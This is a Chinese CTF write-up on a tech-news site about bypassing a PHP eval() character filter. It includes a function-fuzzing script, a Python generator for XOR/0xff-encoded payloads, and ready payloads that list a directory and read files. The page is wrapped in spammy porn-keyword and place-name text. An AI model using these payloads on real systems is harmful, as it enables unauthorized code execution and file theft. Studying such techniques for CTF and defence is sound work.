91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何看待php與bypass

發布時間:2021-10-11 10:43:53 來源:億速云 閱讀:128 作者:柒染 欄目:網絡管理

如何看待php與bypass,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

Tags: [php代碼審計, bypass]

代碼如下

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

代碼分析

前面的那個正則過濾大概就是過濾了下面的這些字符,借鑒師傅博客

\x00- 0-9                       匹配\x00到空格(\x20),0-9的數字
'"`$&.,|[{_defgops              匹配這些字符
\x7F                            匹配DEL(\x7F)字符

而下面的這個if語句實現的效果是,所傳入的變量里面的所有不同的字符的個數不能超過十六進制的0xd也就是十進制的13,就是payload里面所有字符的總數不能超過13個就可了。

bypass

fuzz可用方法

然后就是如何bypass了,這里可以看到并沒有過濾到^~這兩個字符,所以可以使用取反繞過試一試,

但是一般情況下可以先寫個腳本看看還有那些函數是可以用的。php可用方法fuzz腳本

<?php
$array=get_defined_functions();//返回所有內置定義函數
foreach($array['internal'] as $arr){   //遍歷所有方法
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}

所的結果如下

rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max

雖然這里沒什么能用的,但是這個fuzz的腳本還是很有啟發性的,遇到bypass的時候可以先用這樣的腳本試一試是不是能夠直接用某些危險方法。

異或+url編碼bypass

這里直接使用取反的那個操作,下面是代碼。

<?php
$a = urlencode(~'phpinfo');
echo($a);

如何看待php與bypass

雖然出來了,但是其實沒啥用,因為phpinfo();本來的字符數就沒有超過13個,接下來就是縮短字符數與看未被禁用的函數了,下面是被disabled的方法

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

我就認識三個可以命令執行的方法,但是沒過濾掃目錄的函數scandir(),還有讀文件的函數readfile(),還有打印變量信息的函數var_dump(),我借鑒的那個wp里面用的是用多次使用^()來異或的方式,這里我也這么做,但是條條大路通羅馬,肯定還有不少其他方法,這里就不復現了,遇到了再說吧。

bypass腳本實現

這里我們想傳入的變量信息是這樣的

print_r(scandir('.'));

可以看看有多少個字符

<?php
$s = "print_r(scandir('.'));";
$a = strlen(count_chars(strtolower($s), 0x3));
echo($a);

如何看待php與bypass

表面上是15個字符,但是其實還有^也要用,就是16個了,參考腳本

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

這個就是用幾個有的替代要刪掉的就行。然后還有個跟%ff異或的問題,就是一個字符的十六進制形式與0xff進行兩次異或之后還是原來的字符,而與0xff(int值為255)進行一次異或之后一般是ascii碼值大于128的不可見字符,然后^字符不會被過濾的話,就能實現bypass,所以根據這個原理有下面的生成payload的腳本(借鑒了一些之后原創的嗷,就是沒實現自動化生成payload,要手動添加)

# -*- coding: utf-8 -*-#
# -------------------------------------------------------------------------------
# Name:         ctf
# Description:  復現腳本
# Author:       M4XLMUM
# Date:         2021/4/12
# -------------------------------------------------------------------------------
import operator
# s = ['print_r', 'scandir', '.']  # 更換成為想要的字符串
s = ['readfile', 'end', 'scandir', '.']  # 更換成為想要的字符串

ans = {}
pattern = []
s2 = ''    # 需要進行替換的字符, 假設只對出現一次的字符串進行替換。


# 統計s列表中的字符的出現次數
for j in ''.join(s):
ans[j] = ''.join(s).count(j)


for i in ans.keys():
ans[i] = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%')

keys = ans.keys()
for i in keys:
for j in keys:
for k in keys:
for m in keys:
if ord(j) ^ ord(k) ^ ord(m) == ord(i):
if j == k or j == m or m == k:
continue
else:
flag = 1
for temp in pattern:
if i in temp and j in temp and k in temp and m in temp:
flag = 0
if flag:
pattern.append(i+j+k+m)

'''經測試,此塊無用geigeigei
# 對幾對一組的字符串中字符出現次數進行排序,并找出需要進行替換的字符`s2`
temp = {}
for i in ''.join(pattern):
npattern[i] = ''.join(pattern).count(i)
# npattern = sorted(temp.items(), key=operator.itemgetter(1))
for i in npattern:
if npattern[i] == 1:
s2 += i
# %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
'''

print(pattern)  # 打印出pattern之后自己識別需要替換哪一個字符。
'''
懶得寫自動化腳本了,我的小腦子想不太出來
這里的四個字符組成一組的原理實際上就是采用了異或計算的性質,即四個字符中,如果任意三個字符的異或等于另一個,那么這四個字符中任意三個的異或等于另一個字符。
這里的結果是:['prca', 'ints', 'incd', 'tscd']
那需要替換的可以是:p == r^c^a, i == n^c^d, t == s^c^d
'''
# 替換字符為十六進制的形式
# temp = {'p': 'rca', 'i': 'ncd', 't': 'scd'}
temp = {'r': 'eds', 'a': 'dfc', 'd': 'fln', 'i': 'flc'}
rtable = {}   # 需要進行替換的表(已轉為十六進制)
for i in temp:
tempkey = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%')
tempvalue = ''
for k in temp[i]:
tempvalue += hex(int(hex(ord(k)), 16) ^ 0xff).replace('0x', '%')
rtable[tempkey] = tempvalue


for i in s:
temp1 = ''
temp2 = ''
temp3 = ''
temp4 = ''
for j in i:
temp0 = hex(int(hex(ord(j)), 16) ^ 0xff).replace('0x', '%')
if temp0 in rtable:
temp1 += rtable[temp0][:3]
temp2 += rtable[temp0][3:6]
temp3 += rtable[temp0][6:9]
temp4 += '%ff'
else:
temp1 += temp0
temp2 += '%ff'
temp3 += '%ff'
temp4 += '%ff'
payload = '(' + temp1 + ')^(' + temp2 + ')^(' + temp3 + ')^(' + temp4 + ')'
print(payload)
# payload1: print_r(scandir(.));
# payload1: (print_r)((scandir)(.));
# payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff)));

# payload2: readfile(end(scandir(.)));
# payload2: (readfile)((end)((scandir)(.)));
# payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))));

'''
上面的payload之所以多加了許多括號是因為要防止異或之后連在一起,反正加個括號也不多的樣子
'''

故可總結payload如下

# payload1: print_r(scandir(.));
# payload1: (print_r)((scandir)(.));
# payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff)));

# payload2: readfile(end(scandir(.)));
# payload2: (readfile)((end)((scandir)(.)));
# payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))));

第一個payload暴露出當前路徑下的文件,第二個payload讀當前路徑下的最后一個文件。

bypass原理

上面的腳本的bypass的原理可以分成兩個來說

首先,異或繞過

這個很簡單,就是使用payload的十六進制與0xff進行異或(并將結果的0x換為%),因為異或計算的性質,一個十六進制與0xff``(這里的0xff實際上可以是任何的其他值應該)進行兩次異或之后等于原來的值。

其次,字符限制繞過

這個操作上是將payload的字符串里面的字符替換為本來字符串內還有的其他的字符串的值的異或,例如payload為print_r(scandir(.));時,有下面的等價關系p == r^c^a, i == n^c^d, t == s^c^d,就這樣替換。

再從異或層面解釋原理就是,一個字符的十六進制與0xff進行四次異或之后還是它本身,總之就是偶數次異或之后一定等于原來的字符。

關于如何看待php與bypass問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

龙里县| 宿迁市| 丰顺县| 班玛县| 河北省| 卓尼县| 仁化县| 米林县| 云霄县| 同心县| 白朗县| 礼泉县| 五大连池市| 赤壁市| 玉屏| 寿宁县| 中西区| 徐州市| 江门市| 灵川县| 称多县| 钦州市| 磴口县| 南投市| 清苑县| 武隆县| 荆门市| 南平市| 冀州市| 民丰县| 龙海市| 托克托县| 富平县| 眉山市| 营口市| 裕民县| 宜黄县| 石柱| 淮北市| 精河县| 怀远县|